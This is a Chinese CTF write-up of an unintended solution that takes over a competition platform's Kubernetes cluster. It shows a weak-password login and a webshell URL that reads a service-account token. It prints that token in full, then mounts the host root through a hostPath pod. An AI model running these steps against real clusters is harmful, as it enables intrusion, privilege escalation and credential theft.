华为云CTF cloud非预期解之k8s渗透实战
前言
最近对云安全这块比较感兴趣,学了一波k8s的架构和操作,正好遇上了华为云的这一场比赛,收获颇多。
(甚至通过非预期拿下了平台题目集群的最高权限)。
0x00 题目入口发现
拿到题目发现是一个类似于提供IaaS服务的站点,扫描了一波目录,发现几个文件以及路由:
phpinfo.php robots.txt admin/ login/ static/
挺奇怪的是,在一个存在phpinfo的环境下发现了一个beego框架后端的403界面:
初步猜测是.php的文件交给了nginx fastcgi进行处理,而其他路由则是交给了beego进行处理。
接着我们先看/admin路由,发现存在一个隐藏的表单
因此自然的想到使用burpsuite进行弱口令的爆破,发现存在弱口令 admin:admin
登录成功后返回了两个url, 下载 tools.zip,同时根据名字猜测/wsproxy是一个websocket的代理路由,而查看tools的源码发现是一个wsproxy的客户端程序。
至此,我们找到了进入内网的通道。
0x01 wsproxy 进入内网
直接对拿到的tools源码进行编译,获得客户端连接程序
根据使用说明,我们可以通过简单的命令连接上题目的wsproxy,同时密码为tools源码目录下的 pass.txt(UAF),session就是我们登陆admin后,题目给的beego session
这样会在本地的1080端口开启一个 socks5 代理,通过这个代理,我们就能够连入内网。
0x02 phpinfo泄露k8s集群信息
由于这道题目的名称 Cloud以及在phpinfo.php 环境变量 中发现的大量service的信息以及k8s api-server地址,同时根据环境变量的名称与值来看,这是一个k8s集群。而我们的题目属于k8s集群中的一个pod。
0x03 k8s基础架构介绍
在继续深入下去之前,我们需要了解k8s的一些基础架构
如上图所示,我们可以看到,Kubernetes集群主要分为 Master和Node 两部分,也是典型的分布式架构。
首先,外部应用程序通过Api-Server提供的 HTTP 接口与Master进行交互,而在与APIs进行交互前,需要经过一步认证的阶段。而 Node由多个pod组成,pod中运行着的便是大家比较熟悉的容器(通常来说是docker),编写的服务(app)就运行在这些pod中的容器内。
其次,我们若是想将我们的pod发布出去,使其能够被公开访问,就需要了解服务(Service)。我们将运行在一组 Pods 上的应用程序公开为网络服务的抽象方法称作服务,服务上一般配置了能够被公开访问的 ip地址、端口映射关系等,通过服务我们就能够访问到相应的pods。
每一个Node上都有一个被称作节点代理的程序 kubelet,Node通过该程序向Api-Server汇报节点信息,以及接受相应的指令等。
从上面的架构中不难看出,如果我们要拿下整个集群,从外部看实际上就是需要获得暴露在外的api-server提供的REST api的访问权限。
0x04 k8s 认证 token 泄露 + 配置不当
通过上面一步浅显的解了一下k8s的基础架构,我们可以继续往下看。
我们通过给的代理程序连接内网,访问phpinfo中泄露的 k8s api-server https://10.247.0.1:443,发现api-server居然暴露在代理能够直接访问到的网段上,但是直接访问提示我们401未授权,因此我们需要寻找一种可能的方式去通过此认证。
根据phpinfo.php文件中的内容来看,该集群中部署了很多很多的services,因此我们猜测所有的题目容器应该都是通过这个k8s进行编排管理的。
同时由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token
文件中,因此我们是可以通过其他题目所拿到的shell拿到这个token。
ServiceAccount 主要包含了三个内容:namespace、Token 和 CA。namespace 指定了 pod 所在的 namespace,CA 用于验证 apiserver 的证书,token 用作身份验证。它们都通过 mount 的方式保存在 pod 的文件系统中,其中 token 保存的路径是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通过私钥签发 token 的 base64 编码后的结果
我们可以通过之前在 webshell_1题目所拿到的webshell,获取到api-server认证token
http://124.70.199.12:32003/upload/71a6e9b8-90b6-4d4f-9acd-bd91c8bbcc5e.jsp?pwd=023&i=cat%20/run/secrets/kubernetes.io/serviceaccount/token
至此,我们已经获得了api-server的访问权限,因此就相当于我们获取了k8s集群中的master权限。
0x05 获取集群操纵权限
拿到了api-server的权限,我们就能够随心所欲的在集群中做想做的事了~ 其实做到这一步,大概就意识到这应该是一个平台漏洞,而不是本题的预期解法。因为拿到了master权限之后,我们已经能够查看/控制所有的Pods(web题目),随意的获取我们想要题目的flag。
我们可以通过命令行工具 kubectl来对api-server进行操作。
创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址
apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-name contexts: - context: cluster: cluster-name namespace: test user: admin name: admin current-context: admin kind: Config preferences: {} users: - name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w
在本机通过题目的内网代理 执行以下命令远程连接进入题目的k8s集群,成功通过认证。
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
至此,我们得到了访问k8s api-server的权限,下面我们尝试去获取集群master宿主机的权限。
通过执行
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
可以看到,k8s的版本号为 v1.15.11,这个版本的k8s授权默认是不会开启RBAC(基于角色的访问控制)的。
在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。
因此如果运维在搭建集群环境的时候,没有设置 --authorization-mode=RBAC ,那么我们就可以通过拿下集群中的一个pod的shell,从而获取到token进行api-server的认证。很显然,经过上面的验证,运维在部署环境时并没有开启该访问控制。
0x06 获取master 宿主机权限
我们可以创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件。
执行以下命令,获取当前已经拉取过的images:
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\ tr -s '[[:space:]]' '\n' |\ sort |\ uniq -c
结果如下:
尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的
yaml配置如下:
apiVersion: v1 kind: Pod metadata: name: test-444 spec: containers: - name: test-444 image: 100.125.4.222:20202/hwofficial/coredns:1.15.6 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory
上述配置将宿主机的根目录挂载到了我们pod中的 /host目录,执行以下命令在default命名空间中创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true
再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制。
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true
至此,我们所获得的权限其实已经和主办方运维同样高了。。
0x07 获取flag
通过以上的步骤,大概明白了这是一个非预期,平台配置token的泄露外加没有开启RBAC授权,导致我们轻易的就能够获取到了k8s集群的最高权限。因此我们也就获得了该集群中所有题目容器的最高权限。
在整个集群中,我们需要寻找属于我们队伍的pod,以便获得对应的flag。
因此我们首先通过查询在k8s中用于服务暴露的service信息:
kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
可以看到,列出了所有的service,同时还有集群ip以及端口映射的关系。这里我们就可以通过暴露在公网上的端口,来定位对应的service。
例如我们的公网端口为30067,则我们搜索30067端口
得到了我们题目pod所在的service,接着我们获取这个service的详细信息,以便得到pod name,命令如下:
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
从这里大致可以看出,app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。
kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
通过对我们获取的数据的检索,发现了这样一个pod,通过比较虚拟ip与phpinfo中的信息,可以确定这个pod就是我们要找的那个。
因此便得到了属于我们的pod。exec进入pod后,便可以得到flag。
0x08 总结
apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-name contexts: - context: cluster: cluster-name namespace: test user: admin name: admin current-context: admin kind: Config preferences: {} users: - name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w
2.通过kubectl命令认证k8s(https://kubernetes.io/zh/docs/tasks/tools/install-kubectl-linux/),得到了访问k8s api-server的权限
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
3.查看k8s版本(从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能,1.6版本以下是不会开启RBAC(基于角色的访问控制)的)
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
4.创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件
执行以下命令,获取当前已经拉取过的images:
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c
5.尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的
yaml配置如下:
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
上述配置将宿主机的根目录挂载到了我们pod中的 /host目录
6.执行以下命令在default命名空间中创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true
7.再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true
8.通过查询在k8s中用于服务暴露的service信息
kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
9.获取这个service的详细信息,以便得到pod name
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
10.app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。
kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true